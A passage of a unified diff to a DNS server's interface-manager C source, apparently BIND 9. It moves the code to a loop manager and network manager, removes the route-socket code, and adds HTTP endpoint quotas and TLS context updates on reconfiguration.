+		       isc_loopmgr_t *loopmgr, isc_nm_t *nm,
+		       dns_dispatchmgr_t *dispatchmgr,
+		       dns_geoip_databases_t *geoip, bool scan,
+		       ns_interfacemgr_t **mgrp) {
 	isc_result_t result;
-	ns_interfacemgr_t *mgr;
-
-#ifndef USE_ROUTE_SOCKET
-	UNUSED(task);
-#endif /* ifndef USE_ROUTE_SOCKET */
+	ns_interfacemgr_t *mgr = NULL;
 
 	REQUIRE(mctx != NULL);
 	REQUIRE(mgrp != NULL);
 	REQUIRE(*mgrp == NULL);
 
 	mgr = isc_mem_get(mctx, sizeof(*mgr));
+	*mgr = (ns_interfacemgr_t){
+		.loopmgr = loopmgr,
+		.nm = nm,
+		.dispatchmgr = dispatchmgr,
+		.generation = 1,
+		.ncpus = isc_loopmgr_nloops(loopmgr),
+	};
 
-	mgr->mctx = NULL;
 	isc_mem_attach(mctx, &mgr->mctx);
-
-	mgr->sctx = NULL;
 	ns_server_attach(sctx, &mgr->sctx);
 
 	isc_mutex_init(&mgr->lock);
 
-	mgr->excl = NULL;
-	result = isc_taskmgr_excltask(taskmgr, &mgr->excl);
-	if (result != ISC_R_SUCCESS) {
-		goto cleanup_lock;
-	}
-
-	mgr->taskmgr = taskmgr;
-	mgr->timermgr = timermgr;
-	mgr->socketmgr = socketmgr;
-	mgr->nm = nm;
-	mgr->dispatchmgr = dispatchmgr;
-	mgr->generation = 1;
-	mgr->listenon4 = NULL;
-	mgr->listenon6 = NULL;
-	mgr->udpdisp = udpdisp;
-	mgr->ncpus = ncpus;
 	atomic_init(&mgr->shuttingdown, false);
 
 	ISC_LIST_INIT(mgr->interfaces);
@@ -232,7 +304,7 @@ ns_interfacemgr_create(isc_mem_t *mctx, ns_server_t *sctx,
 	 */
 	result = ns_listenlist_create(mctx, &mgr->listenon4);
 	if (result != ISC_R_SUCCESS) {
-		goto cleanup_sctx;
+		goto cleanup_lock;
 	}
 	ns_listenlist_attach(mgr->listenon4, &mgr->listenon6);
 
@@ -246,65 +318,40 @@ ns_interfacemgr_create(isc_mem_t *mctx, ns_server_t *sctx,
 	UNUSED(geoip);
 #endif /* if defined(HAVE_GEOIP2) */
 
-#ifdef USE_ROUTE_SOCKET
-	mgr->route = NULL;
-	result = isc_socket_create(mgr->socketmgr, ROUTE_SOCKET_PROTOCOL,
-				   isc_sockettype_raw, &mgr->route);
-	switch (result) {
-	case ISC_R_NOPERM:
-	case ISC_R_SUCCESS:
-	case ISC_R_NOTIMPLEMENTED:
-	case ISC_R_FAMILYNOSUPPORT:
-		break;
-	default:
-		goto cleanup_aclenv;
-	}
-
-	mgr->task = NULL;
-	if (mgr->route != NULL) {
-		isc_task_attach(task, &mgr->task);
-	}
-	isc_refcount_init(&mgr->references, (mgr->route != NULL) ? 2 : 1);
-#else  /* ifdef USE_ROUTE_SOCKET */
 	isc_refcount_init(&mgr->references, 1);
-#endif /* ifdef USE_ROUTE_SOCKET */
 	mgr->magic = IFMGR_MAGIC;
 	*mgrp = mgr;
 
-	mgr->clientmgrs = isc_mem_get(mgr->mctx,
-				      mgr->ncpus * sizeof(mgr->clientmgrs[0]));
-	for (size_t i = 0; i < (size_t)mgr->ncpus; i++) {
-		result = ns_clientmgr_create(mgr->sctx, mgr->taskmgr,
-					     mgr->timermgr, mgr->aclenv, (int)i,
+	mgr->clientmgrs = isc_mem_cget(mgr->mctx, mgr->ncpus,
+				       sizeof(mgr->clientmgrs[0]));
+	for (size_t i = 0; i < mgr->ncpus; i++) {
+		result = ns_clientmgr_create(mgr->sctx, mgr->loopmgr,
+					     mgr->aclenv, (int)i,
 					     &mgr->clientmgrs[i]);
 		RUNTIME_CHECK(result == ISC_R_SUCCESS);
 	}
 
-#ifdef USE_ROUTE_SOCKET
-	if (mgr->route != NULL) {
-		isc_region_t r = { mgr->buf, sizeof(mgr->buf) };
+	if (scan) {
+		ns_interfacemgr_t *imgr = NULL;
+
+		ns_interfacemgr_attach(mgr, &imgr);
 
-		result = isc_socket_recv(mgr->route, &r, 1, mgr->task,
-					 route_event, mgr);
+		result = isc_nm_routeconnect(nm, route_connected, imgr);
 		if (result != ISC_R_SUCCESS) {
-			isc_task_detach(&mgr->task);
-			isc_socket_detach(&mgr->route);
-			ns_interfacemgr_detach(&mgr);
+			isc_log_write(IFMGR_COMMON_LOGARGS, ISC_LOG_INFO,
+				      "unable to open route socket: %s",
+				      isc_result_totext(result));
+			ns_interfacemgr_detach(&imgr);
 		}
 	}
-#endif /* ifdef USE_ROUTE_SOCKET */
+
 	return (ISC_R_SUCCESS);
 
-#ifdef USE_ROUTE_SOCKET
-cleanup_aclenv:
-	dns_aclenv_detach(&mgr->aclenv);
-#endif /* ifdef USE_ROUTE_SOCKET */
 cleanup_listenon:
 	ns_listenlist_detach(&mgr->listenon4);
 	ns_listenlist_detach(&mgr->listenon6);
 cleanup_lock:
 	isc_mutex_destroy(&mgr->lock);
-cleanup_sctx:
 	ns_server_detach(&mgr->sctx);
 	isc_mem_putanddetach(&mgr->mctx, mgr, sizeof(*mgr));
 	return (result);
@@ -316,31 +363,20 @@ ns_interfacemgr_destroy(ns_interfacemgr_t *mgr) {
 
 	isc_refcount_destroy(&mgr->references);
 
-#ifdef USE_ROUTE_SOCKET
-	if (mgr->route != NULL) {
-		isc_socket_detach(&mgr->route);
-	}
-	if (mgr->task != NULL) {
-		isc_task_detach(&mgr->task);
-	}
-#endif /* ifdef USE_ROUTE_SOCKET */
 	dns_aclenv_detach(&mgr->aclenv);
 	ns_listenlist_detach(&mgr->listenon4);
 	ns_listenlist_detach(&mgr->listenon6);
 	clearlistenon(mgr);
 	isc_mutex_destroy(&mgr->lock);
-	for (size_t i = 0; i < (size_t)mgr->ncpus; i++) {
-		ns_clientmgr_destroy(&mgr->clientmgrs[i]);
+	for (size_t i = 0; i < mgr->ncpus; i++) {
+		ns_clientmgr_detach(&mgr->clientmgrs[i]);
 	}
-	isc_mem_put(mgr->mctx, mgr->clientmgrs,
-		    mgr->ncpus * sizeof(mgr->clientmgrs[0]));
+	isc_mem_cput(mgr->mctx, mgr->clientmgrs, mgr->ncpus,
+		     sizeof(mgr->clientmgrs[0]));
 
 	if (mgr->sctx != NULL) {
 		ns_server_detach(&mgr->sctx);
 	}
-	if (mgr->excl != NULL) {
-		isc_task_detach(&mgr->excl);
-	}
 	mgr->magic = 0;
 	isc_mem_putanddetach(&mgr->mctx, mgr, sizeof(*mgr));
 }
@@ -355,9 +391,15 @@ ns_interfacemgr_setbacklog(ns_interfacemgr_t *mgr, int backlog) {
 
 dns_aclenv_t *
 ns_interfacemgr_getaclenv(ns_interfacemgr_t *mgr) {
+	dns_aclenv_t *aclenv = NULL;
+
 	REQUIRE(NS_INTERFACEMGR_VALID(mgr));
 
-	return (mgr->aclenv);
+	LOCK(&mgr->lock);
+	aclenv = mgr->aclenv;
+	UNLOCK(&mgr->lock);
+
+	return (aclenv);
 }
 
 void
@@ -384,70 +426,54 @@ ns_interfacemgr_shutdown(ns_interfacemgr_t *mgr) {
 
 	/*%
 	 * Shut down and detach all interfaces.
-	 * By incrementing the generation count, we make purge_old_interfaces()
-	 * consider all interfaces "old".
+	 * By incrementing the generation count, we make
+	 * purge_old_interfaces() consider all interfaces "old".
 	 */
 	mgr->generation++;
 	atomic_store(&mgr->shuttingdown, true);
-#ifdef USE_ROUTE_SOCKET
-	LOCK(&mgr->lock);
+
+	purge_old_interfaces(mgr);
+
 	if (mgr->route != NULL) {
-		isc_socket_cancel(mgr->route, mgr->task, ISC_SOCKCANCEL_RECV);
-		isc_socket_detach(&mgr->route);
-		isc_task_detach(&mgr->task);
+		isc_nm_cancelread(mgr->route);
+	}
+
+	for (size_t i = 0; i < mgr->ncpus; i++) {
+		ns_clientmgr_shutdown(mgr->clientmgrs[i]);
 	}
-	UNLOCK(&mgr->lock);
-#endif /* ifdef USE_ROUTE_SOCKET */
-	purge_old_interfaces(mgr);
 }
 
-static isc_result_t
+void
 ns_interface_create(ns_interfacemgr_t *mgr, isc_sockaddr_t *addr,
 		    const char *name, ns_interface_t **ifpret) {
-	ns_interface_t *ifp;
-	int disp;
+	ns_interface_t *ifp = NULL;
+	const char *default_name = "default";
 
 	REQUIRE(NS_INTERFACEMGR_VALID(mgr));
 
 	ifp = isc_mem_get(mgr->mctx, sizeof(*ifp));
-	*ifp = (ns_interface_t){ .generation = mgr->generation,
-				 .addr = *addr,
-				 .dscp = -1 };
+	*ifp = (ns_interface_t){ .generation = mgr->generation, .addr = *addr };
 
+	if (name == NULL) {
+		name = default_name;
+	}
 	strlcpy(ifp->name, name, sizeof(ifp->name));
 
 	isc_mutex_init(&ifp->lock);
 
-	for (disp = 0; disp < MAX_UDP_DISPATCH; disp++) {
-		ifp->udpdispatch[disp] = NULL;
-	}
-
-	/*
-	 * Create a single TCP client object.  It will replace itself
-	 * with a new one as soon as it gets a connection, so the actual
-	 * connections will be handled in parallel even though there is
-	 * only one client initially.
-	 */
 	isc_refcount_init(&ifp->ntcpaccepting, 0);
 	isc_refcount_init(&ifp->ntcpactive, 0);
 
 	ISC_LINK_INIT(ifp, link);
 
 	ns_interfacemgr_attach(mgr, &ifp->mgr);
+	ifp->magic = IFACE_MAGIC;
+
 	LOCK(&mgr->lock);
 	ISC_LIST_APPEND(mgr->interfaces, ifp, link);
 	UNLOCK(&mgr->lock);
 
-	isc_refcount_init(&ifp->references, 1);
-	ifp->magic = IFACE_MAGIC;
-
-	ifp->tcplistensocket = NULL;
-	ifp->http_listensocket = NULL;
-	ifp->http_secure_listensocket = NULL;
-
 	*ifpret = ifp;
-
-	return (ISC_R_SUCCESS);
 }
 
 static isc_result_t
@@ -455,8 +481,8 @@ ns_interface_listenudp(ns_interface_t *ifp) {
 	isc_result_t result;
 
 	/* Reserve space for an ns_client_t with the netmgr handle */
-	result = isc_nm_listenudp(ifp->mgr->nm, &ifp->addr, ns__client_request,
-				  ifp, sizeof(ns_client_t),
+	result = isc_nm_listenudp(ifp->mgr->nm, ISC_NM_LISTEN_ALL, &ifp->addr,
+				  ns_client_request, ifp,
 				  &ifp->udplistensocket);
 	return (result);
 }
@@ -465,10 +491,10 @@ static isc_result_t
 ns_interface_listentcp(ns_interface_t *ifp) {
 	isc_result_t result;
 
-	result = isc_nm_listentcpdns(
-		ifp->mgr->nm, &ifp->addr, ns__client_request, ifp,
-		ns__client_tcpconn, ifp, sizeof(ns_client_t), ifp->mgr->backlog,
-		&ifp->mgr->sctx->tcpquota, &ifp->tcplistensocket);
+	result = isc_nm_listenstreamdns(
+		ifp->mgr->nm, ISC_NM_LISTEN_ALL, &ifp->addr, ns_client_request,
+		ifp, ns__client_tcpconn, ifp, ifp->mgr->backlog,
+		&ifp->mgr->sctx->tcpquota, NULL, &ifp->tcplistensocket);
 	if (result != ISC_R_SUCCESS) {
 		isc_log_write(IFMGR_COMMON_LOGARGS, ISC_LOG_ERROR,
 			      "creating TCP socket: %s",
@@ -487,17 +513,6 @@ ns_interface_listentcp(ns_interface_t *ifp) {
 			      isc_result_totext(result));
 	}
 
-#if 0
-#ifndef ISC_ALLOW_MAPPED
-	isc_socket_ipv6only(ifp->tcpsocket,true);
-#endif /* ifndef ISC_ALLOW_MAPPED */
-
-	if (ifp->dscp != -1) {
-		isc_socket_dscp(ifp->tcpsocket,ifp->dscp);
-	}
-
-	(void)isc_socket_filter(ifp->tcpsocket,"dataready");
-#endif /* if 0 */
 	return (result);
 }
 
@@ -509,16 +524,15 @@ static isc_result_t
 ns_interface_listentls(ns_interface_t *ifp, isc_tlsctx_t *sslctx) {
 	isc_result_t result;
 
-	result = isc_nm_listentlsdns(
-		ifp->mgr->nm, &ifp->addr, ns__client_request, ifp,
-		ns__client_tcpconn, ifp, sizeof(ns_client_t), ifp->mgr->backlog,
+	result = isc_nm_listenstreamdns(
+		ifp->mgr->nm, ISC_NM_LISTEN_ALL, &ifp->addr, ns_client_request,
+		ifp, ns__client_tcpconn, ifp, ifp->mgr->backlog,
 		&ifp->mgr->sctx->tcpquota, sslctx, &ifp->tcplistensocket);
 
 	if (result != ISC_R_SUCCESS) {
 		isc_log_write(IFMGR_COMMON_LOGARGS, ISC_LOG_ERROR,
 			      "creating TLS socket: %s",
 			      isc_result_totext(result));
-		isc_tlsctx_free(&sslctx);
 		return (result);
 	}
 
@@ -537,20 +551,56 @@ ns_interface_listentls(ns_interface_t *ifp, isc_tlsctx_t *sslctx) {
 	return (result);
 }
 
+#ifdef HAVE_LIBNGHTTP2
+static isc_result_t
+load_http_endpoints(isc_nm_http_endpoints_t *epset, ns_interface_t *ifp,
+		    char **eps, size_t neps) {
+	isc_result_t result = ISC_R_FAILURE;
+
+	for (size_t i = 0; i < neps; i++) {
+		result = isc_nm_http_endpoints_add(epset, eps[i],
+						   ns_client_request, ifp);
+		if (result != ISC_R_SUCCESS) {
+			break;
+		}
+	}
+
+	return (result);
+}
+#endif /* HAVE_LIBNGHTTP2 */
+
 static isc_result_t
 ns_interface_listenhttp(ns_interface_t *ifp, isc_tlsctx_t *sslctx, char **eps,
-			size_t neps) {
-	isc_result_t result;
+			size_t neps, uint32_t max_clients,
+			uint32_t max_concurrent_streams) {
+#if HAVE_LIBNGHTTP2
+	isc_result_t result = ISC_R_FAILURE;
 	isc_nmsocket_t *sock = NULL;
+	isc_nm_http_endpoints_t *epset = NULL;
+	isc_quota_t *quota = NULL;
+
+	epset = isc_nm_http_endpoints_new(ifp->mgr->mctx);
 
-	result = isc_nm_listenhttp(ifp->mgr->nm, &ifp->addr, ifp->mgr->backlog,
-				   &ifp->mgr->sctx->tcpquota, sslctx, &sock);
+	result = load_http_endpoints(epset, ifp, eps, neps);
 
 	if (result == ISC_R_SUCCESS) {
-		for (size_t i = 0; i < neps; i++) {
-			result = isc_nm_http_endpoint(sock, eps[i],
-						      ns__client_request, ifp,
-						      sizeof(ns_client_t));
+		quota = isc_mem_get(ifp->mgr->mctx, sizeof(*quota));
+		isc_quota_init(quota, max_clients);
+		result = isc_nm_listenhttp(ifp->mgr->nm, ISC_NM_LISTEN_ALL,
+					   &ifp->addr, ifp->mgr->backlog, quota,
+					   sslctx, epset,
+					   max_concurrent_streams, &sock);
+	}
+
+	isc_nm_http_endpoints_detach(&epset);
+
+	if (quota != NULL) {
+		if (result != ISC_R_SUCCESS) {
+			isc_quota_destroy(quota);
+			isc_mem_put(ifp->mgr->mctx, quota, sizeof(*quota));
+		} else {
+			ifp->http_quota = quota;
+			ns_server_append_http_quota(ifp->mgr->sctx, quota);
 		}
 	}
 
@@ -581,28 +631,42 @@ ns_interface_listenhttp(ns_interface_t *ifp, isc_tlsctx_t *sslctx, char **eps,
 	}
 
 	return (result);
+#else
+	UNUSED(ifp);
+	UNUSED(sslctx);
+	UNUSED(eps);
+	UNUSED(neps);
+	UNUSED(max_clients);
+	UNUSED(max_concurrent_streams);
+	return (ISC_R_NOTIMPLEMENTED);
+#endif
 }
 
 static isc_result_t
-ns_interface_setup(ns_interfacemgr_t *mgr, isc_sockaddr_t *addr,
-		   const char *name, ns_interface_t **ifpret, bool accept_tcp,
-		   ns_listenelt_t *elt, bool *addr_in_use) {
+interface_setup(ns_interfacemgr_t *mgr, isc_sockaddr_t *addr, const char *name,
+		ns_interface_t **ifpret, ns_listenelt_t *elt,
+		bool *addr_in_use) {
 	isc_result_t result;
 	ns_interface_t *ifp = NULL;
-	REQUIRE(ifpret != NULL && *ifpret == NULL);
+
+	REQUIRE(ifpret != NULL);
 	REQUIRE(addr_in_use == NULL || !*addr_in_use);
 
-	result = ns_interface_create(mgr, addr, name, &ifp);
-	if (result != ISC_R_SUCCESS) {
-		return (result);
+	ifp = *ifpret;
+
+	if (ifp == NULL) {
+		ns_interface_create(mgr, addr, name, &ifp);
+	} else {
+		REQUIRE(!LISTENING(ifp));
 	}
 
-	ifp->dscp = elt->dscp;
+	ifp->flags |= NS_INTERFACEFLAG_LISTENING;
 
 	if (elt->is_http) {
-		result = ns_interface_listenhttp(ifp, elt->sslctx,
-						 elt->http_endpoints,
-						 elt->http_endpoints_number);
+		result = ns_interface_listenhttp(
+			ifp, elt->sslctx, elt->http_endpoints,
+			elt->http_endpoints_number, elt->http_max_clients,
+			elt->max_concurrent_streams);
 		if (result != ISC_R_SUCCESS) {
 			goto cleanup_interface;
 		}
@@ -627,11 +691,12 @@ ns_interface_setup(ns_interfacemgr_t *mgr, isc_sockaddr_t *addr,
 		goto cleanup_interface;
 	}
 
-	if (((mgr->sctx->options & NS_SERVER_NOTCP) == 0) && accept_tcp) {
+	if (((mgr->sctx->options & NS_SERVER_NOTCP) == 0)) {
 		result = ns_interface_listentcp(ifp);
 		if (result != ISC_R_SUCCESS) {
 			if ((result == ISC_R_ADDRINUSE) &&
-			    (addr_in_use != NULL)) {
+			    (addr_in_use != NULL))
+			{
 				*addr_in_use = true;
 			}
 
@@ -648,16 +713,14 @@ ns_interface_setup(ns_interfacemgr_t *mgr, isc_sockaddr_t *addr,
 	return (result);
 
 cleanup_interface:
-	LOCK(&ifp->mgr->lock);
-	ISC_LIST_UNLINK(ifp->mgr->interfaces, ifp, link);
-	UNLOCK(&ifp->mgr->lock);
 	ns_interface_shutdown(ifp);
-	ns_interface_detach(&ifp);
 	return (result);
 }
 
 void
 ns_interface_shutdown(ns_interface_t *ifp) {
+	ifp->flags &= ~NS_INTERFACEFLAG_LISTENING;
+
 	if (ifp->udplistensocket != NULL) {
 		isc_nm_stoplistening(ifp->udplistensocket);
 		isc_nmsocket_close(&ifp->udplistensocket);
@@ -674,57 +737,32 @@ ns_interface_shutdown(ns_interface_t *ifp) {
 		isc_nm_stoplistening(ifp->http_secure_listensocket);
 		isc_nmsocket_close(&ifp->http_secure_listensocket);
 	}
+	ifp->http_quota = NULL;
 }
 
 static void
-ns_interface_destroy(ns_interface_t *ifp) {
-	REQUIRE(NS_INTERFACE_VALID(ifp));
+interface_destroy(ns_interface_t **interfacep) {
+	ns_interface_t *ifp = NULL;
+	ns_interfacemgr_t *mgr = NULL;
 
-	isc_mem_t *mctx = ifp->mgr->mctx;
+	REQUIRE(interfacep != NULL);
 
-	ns_interface_shutdown(ifp);
+	ifp = *interfacep;
+	*interfacep = NULL;
 
-	for (int disp = 0; disp < ifp->nudpdispatch; disp++) {
-		if (ifp->udpdispatch[disp] != NULL) {
-			dns_dispatch_changeattributes(
-				ifp->udpdispatch[disp], 0,
-				DNS_DISPATCHATTR_NOLISTEN);
-			dns_dispatch_detach(&(ifp->udpdispatch[disp]));
-		}
-	}
+	REQUIRE(NS_INTERFACE_VALID(ifp));
 
-	if (ifp->tcpsocket != NULL) {
-		isc_socket_detach(&ifp->tcpsocket);
-	}
+	mgr = ifp->mgr;
 
-	isc_mutex_destroy(&ifp->lock);
+	ns_interface_shutdown(ifp);
 
+	ifp->magic = 0;
+	isc_mutex_destroy(&ifp->lock);
 	ns_interfacemgr_detach(&ifp->mgr);
-
 	isc_refcount_destroy(&ifp->ntcpactive);
 	isc_refcount_destroy(&ifp->ntcpaccepting);
 
-	ifp->magic = 0;
-
-	isc_mem_put(mctx, ifp, sizeof(*ifp));
-}
-
-void
-ns_interface_attach(ns_interface_t *source, ns_interface_t **target) {
-	REQUIRE(NS_INTERFACE_VALID(source));
-	isc_refcount_increment(&source->references);
-	*target = source;
-}
-
-void
-ns_interface_detach(ns_interface_t **targetp) {
-	ns_interface_t *target = *targetp;
-	*targetp = NULL;
-	REQUIRE(target != NULL);
-	REQUIRE(NS_INTERFACE_VALID(target));
-	if (isc_refcount_decrement(&target->references) == 1) {
-		ns_interface_destroy(target);
-	}
+	isc_mem_put(mgr->mctx, ifp, sizeof(*ifp));
 }
 
 /*%
@@ -751,36 +789,34 @@ find_matching_interface(ns_interfacemgr_t *mgr, isc_sockaddr_t *addr) {
  */
 static void
 purge_old_interfaces(ns_interfacemgr_t *mgr) {
-	ns_interface_t *ifp, *next;
+	ns_interface_t *ifp = NULL, *next = NULL;
+	ISC_LIST(ns_interface_t) interfaces;
+
+	ISC_LIST_INIT(interfaces);
+
 	LOCK(&mgr->lock);
 	for (ifp = ISC_LIST_HEAD(mgr->interfaces); ifp != NULL; ifp = next) {
 		INSIST(NS_INTERFACE_VALID(ifp));
 		next = ISC_LIST_NEXT(ifp, link);
 		if (ifp->generation != mgr->generation) {
-			char sabuf[256];
 			ISC_LIST_UNLINK(ifp->mgr->interfaces, ifp, link);
+			ISC_LIST_APPEND(interfaces, ifp, link);
+		}
+	}
+	UNLOCK(&mgr->lock);
+
+	for (ifp = ISC_LIST_HEAD(interfaces); ifp != NULL; ifp = next) {
+		next = ISC_LIST_NEXT(ifp, link);
+		if (LISTENING(ifp)) {
+			char sabuf[256];
 			isc_sockaddr_format(&ifp->addr, sabuf, sizeof(sabuf));
 			isc_log_write(IFMGR_COMMON_LOGARGS, ISC_LOG_INFO,
 				      "no longer listening on %s", sabuf);
 			ns_interface_shutdown(ifp);
-			ns_interface_detach(&ifp);
 		}
+		ISC_LIST_UNLINK(interfaces, ifp, link);
+		interface_destroy(&ifp);
 	}
-	UNLOCK(&mgr->lock);
-}
-
-static isc_result_t
-clearacl(isc_mem_t *mctx, dns_acl_t **aclp) {
-	dns_acl_t *newacl = NULL;
-	isc_result_t result;
-	result = dns_acl_create(mctx, 0, &newacl);
-	if (result != ISC_R_SUCCESS) {
-		return (result);
-	}
-	dns_acl_detach(aclp);
-	dns_acl_attach(newacl, aclp);
-	dns_acl_detach(&newacl);
-	return (ISC_R_SUCCESS);
 }
 
 static bool
@@ -790,7 +826,8 @@ listenon_is_ip6_any(ns_listenelt_t *elt) {
 }
 
 static isc_result_t
-setup_locals(ns_interfacemgr_t *mgr, isc_interface_t *interface) {
+setup_locals(isc_interface_t *interface, dns_acl_t *localhost,
+	     dns_acl_t *localnets) {
 	isc_result_t result;
 	unsigned int prefixlen;
 	isc_netaddr_t *netaddr;
@@ -799,8 +836,8 @@ setup_locals(ns_interfacemgr_t *mgr, isc_interface_t *interface) {
 
 	/* First add localhost address */
 	prefixlen = (netaddr->family == AF_INET) ? 32 : 128;
-	result = dns_iptable_addprefix(mgr->aclenv->localhost->iptable, netaddr,
-				       prefixlen, true);
+	result = dns_iptable_addprefix(localhost->iptable, netaddr, prefixlen,
+				       true);
 	if (result != ISC_R_SUCCESS) {
 		return (result);
 	}
@@ -830,8 +867,8 @@ setup_locals(ns_interfacemgr_t *mgr, isc_interface_t *interface) {
 		return (ISC_R_SUCCESS);
 	}
 
-	result = dns_iptable_addprefix(mgr->aclenv->localnets->iptable, netaddr,
-				       prefixlen, true);
+	result = dns_iptable_addprefix(localnets->iptable, netaddr, prefixlen,
+				       true);
 	if (result != ISC_R_SUCCESS) {
 		return (result);
 	}
@@ -854,54 +891,135 @@ setup_listenon(ns_interfacemgr_t *mgr, isc_interface_t *interface,
 	     old = ISC_LIST_NEXT(old, link))
 	{
 		if (isc_sockaddr_equal(addr, old)) {
-			break;
+			/* We found an existing address */
+			isc_mem_put(mgr->mctx, addr, sizeof(*addr));
+			goto unlock;
 		}
 	}
 
-	if (old != NULL) {
-		isc_mem_put(mgr->mctx, addr, sizeof(*addr));
-	} else {
-		ISC_LIST_APPEND(mgr->listenon, addr, link);
-	}
+	ISC_LIST_APPEND(mgr->listenon, addr, link);
+unlock:
 	UNLOCK(&mgr->lock);
 }
 
 static void
 clearlistenon(ns_interfacemgr_t *mgr) {
+	ISC_LIST(isc_sockaddr_t) listenon;
 	isc_sockaddr_t *old;
 
+	ISC_LIST_INIT(listenon);
+
 	LOCK(&mgr->lock);
-	old = ISC_LIST_HEAD(mgr->listenon);
+	ISC_LIST_MOVE(listenon, mgr->listenon);
+	UNLOCK(&mgr->lock);
+
+	old = ISC_LIST_HEAD(listenon);
 	while (old != NULL) {
-		ISC_LIST_UNLINK(mgr->listenon, old, link);
+		ISC_LIST_UNLINK(listenon, old, link);
 		isc_mem_put(mgr->mctx, old, sizeof(*old));
-		old = ISC_LIST_HEAD(mgr->listenon);
+		old = ISC_LIST_HEAD(listenon);
+	}
+}
+
+static void
+replace_listener_tlsctx(ns_interface_t *ifp, isc_tlsctx_t *newctx) {
+	char sabuf[ISC_SOCKADDR_FORMATSIZE];
+
+	isc_sockaddr_format(&ifp->addr, sabuf, sizeof(sabuf));
+	isc_log_write(IFMGR_COMMON_LOGARGS, ISC_LOG_INFO,
+		      "updating TLS context on %s", sabuf);
+	if (ifp->tcplistensocket != NULL) {
+		/* 'tcplistensocket' is used for DoT */
+		isc_nmsocket_set_tlsctx(ifp->tcplistensocket, newctx);
+	} else if (ifp->http_secure_listensocket != NULL) {
+		isc_nmsocket_set_tlsctx(ifp->http_secure_listensocket, newctx);
+	}
+}
+
+#ifdef HAVE_LIBNGHTTP2
+static void
+update_http_settings(ns_interface_t *ifp, ns_listenelt_t *le) {
+	isc_result_t result;
+	isc_nmsocket_t *listener;
+	isc_nm_http_endpoints_t *epset;
+
+	REQUIRE(le->is_http);
+
+	INSIST(ifp->http_quota != NULL);
+	isc_quota_max(ifp->http_quota, le->http_max_clients);
+
+	if (ifp->http_secure_listensocket != NULL) {
+		listener = ifp->http_secure_listensocket;
+	} else {
+		INSIST(ifp->http_listensocket != NULL);
+		listener = ifp->http_listensocket;
+	}
+
+	isc_nmsocket_set_max_streams(listener, le->max_concurrent_streams);
+
+	epset = isc_nm_http_endpoints_new(ifp->mgr->mctx);
+
+	result = load_http_endpoints(epset, ifp, le->http_endpoints,
+				     le->http_endpoints_number);
+
+	if (result == ISC_R_SUCCESS) {
+		isc_nm_http_set_endpoints(listener, epset);
+	}
+
+	isc_nm_http_endpoints_detach(&epset);
+}
+#endif /* HAVE_LIBNGHTTP2 */
+
+static void
+update_listener_configuration(ns_interfacemgr_t *mgr, ns_interface_t *ifp,
+			      ns_listenelt_t *le) {
+	REQUIRE(NS_INTERFACEMGR_VALID(mgr));
+	REQUIRE(NS_INTERFACE_VALID(ifp));
+	REQUIRE(le != NULL);
+
+	LOCK(&mgr->lock);
+	/*
+	 * We need to update the TLS contexts
+	 * inside the TLS/HTTPS listeners during
+	 * a reconfiguration because the
+	 * certificates could have been changed.
+	 */
+	if (le->sslctx != NULL) {
+		replace_listener_tlsctx(ifp, le->sslctx);
 	}
+
+#ifdef HAVE_LIBNGHTTP2
+	/*
+	 * Let's update HTTP listener settings
+	 * on reconfiguration.
+	 */
+	if (le->is_http) {
+		update_http_settings(ifp, le);
+	}
+#endif /* HAVE_LIBNGHTTP2 */
+
 	UNLOCK(&mgr->lock);
 }
 
 static isc_result_t
-do_scan(ns_interfacemgr_t *mgr, ns_listenlist_t *ext_listen, bool verbose) {
+do_scan(ns_interfacemgr_t *mgr, bool verbose, bool config) {
 	isc_interfaceiter_t *iter = NULL;
 	bool scan_ipv4 = false;
 	bool scan_ipv6 = false;
-	bool adjusting = false;
 	bool ipv6only = true;
 	bool ipv6pktinfo = true;
 	isc_result_t result;
 	isc_netaddr_t zero_address, zero_address6;
-	ns_listenelt_t *le;
+	ns_listenelt_t *le = NULL;
 	isc_sockaddr_t listen_addr;
-	ns_interface_t *ifp;
+	ns_interface_t *ifp = NULL;
 	bool log_explicit = false;
 	bool dolistenon;
 	char sabuf[ISC_SOCKADDR_FORMATSIZE];
 	bool tried_listening;
 	bool all_addresses_in_use;
-
-	if (ext_listen != NULL) {
-		adjusting = true;
-	}
+	dns_acl_t *localhost = NULL;
+	dns_acl_t *localnets = NULL;
 
 	if (isc_net_probeipv6() == ISC_R_SUCCESS) {
 		scan_ipv6 = true;
@@ -927,12 +1045,10 @@ do_scan(ns_interfacemgr_t *mgr, ns_listenlist_t *ext_listen, bool verbose) {
 	 * packets as the form of mapped addresses unintentionally
 	 * unless explicitly allowed.
 	 */
-#ifndef ISC_ALLOW_MAPPED
 	if (scan_ipv6 && isc_net_probe_ipv6only() != ISC_R_SUCCESS) {
 		ipv6only = false;
 		log_explicit = true;
 	}
-#endif /* ifndef ISC_ALLOW_MAPPED */
 	if (scan_ipv6 && isc_net_probe_ipv6pktinfo() != ISC_R_SUCCESS) {
 		ipv6pktinfo = false;
 		log_explicit = true;
@@ -953,36 +1069,30 @@ do_scan(ns_interfacemgr_t *mgr, ns_listenlist_t *ext_listen, bool verbose) {
 			ifp = find_matching_interface(mgr, &listen_addr);
 			if (ifp != NULL) {
 				ifp->generation = mgr->generation;
-				if (le->dscp != -1 && ifp->dscp == -1) {
-					ifp->dscp = le->dscp;
-				} else if (le->dscp != ifp->dscp) {
-					isc_sockaddr_format(&listen_addr, sabuf,
-							    sizeof(sabuf));
-					isc_log_write(IFMGR_COMMON_LOGARGS,
-						      ISC_LOG_WARNING,
-						      "%s: conflicting DSCP "
-						      "values, using %d",
-						      sabuf, ifp->dscp);
+				if (LISTENING(ifp)) {
+					if (config) {
+						update_listener_configuration(
+							mgr, ifp, le);
+					}
+					continue;
 				}
+			}
+
+			isc_log_write(IFMGR_COMMON_LOGARGS, ISC_LOG_INFO,
+				      "listening on IPv6 "
+				      "interfaces, port %u",
+				      le->port);
+			result = interface_setup(mgr, &listen_addr, "<any>",
+						 &ifp, le, NULL);
+			if (result == ISC_R_SUCCESS) {
+				ifp->flags |= NS_INTERFACEFLAG_ANYADDR;
 			} else {
 				isc_log_write(IFMGR_COMMON_LOGARGS,
-					      ISC_LOG_INFO,
-					      "listening on IPv6 "
-					      "interfaces, port %u",
-					      le->port);
-				result = ns_interface_setup(mgr, &listen_addr,
-							    "<any>", &ifp, true,
-							    le, NULL);
-				if (result == ISC_R_SUCCESS) {
-					ifp->flags |= NS_INTERFACEFLAG_ANYADDR;
-				} else {
-					isc_log_write(IFMGR_COMMON_LOGARGS,
-						      ISC_LOG_ERROR,
-						      "listening on all IPv6 "
-						      "interfaces failed");
-				}
-				/* Continue. */
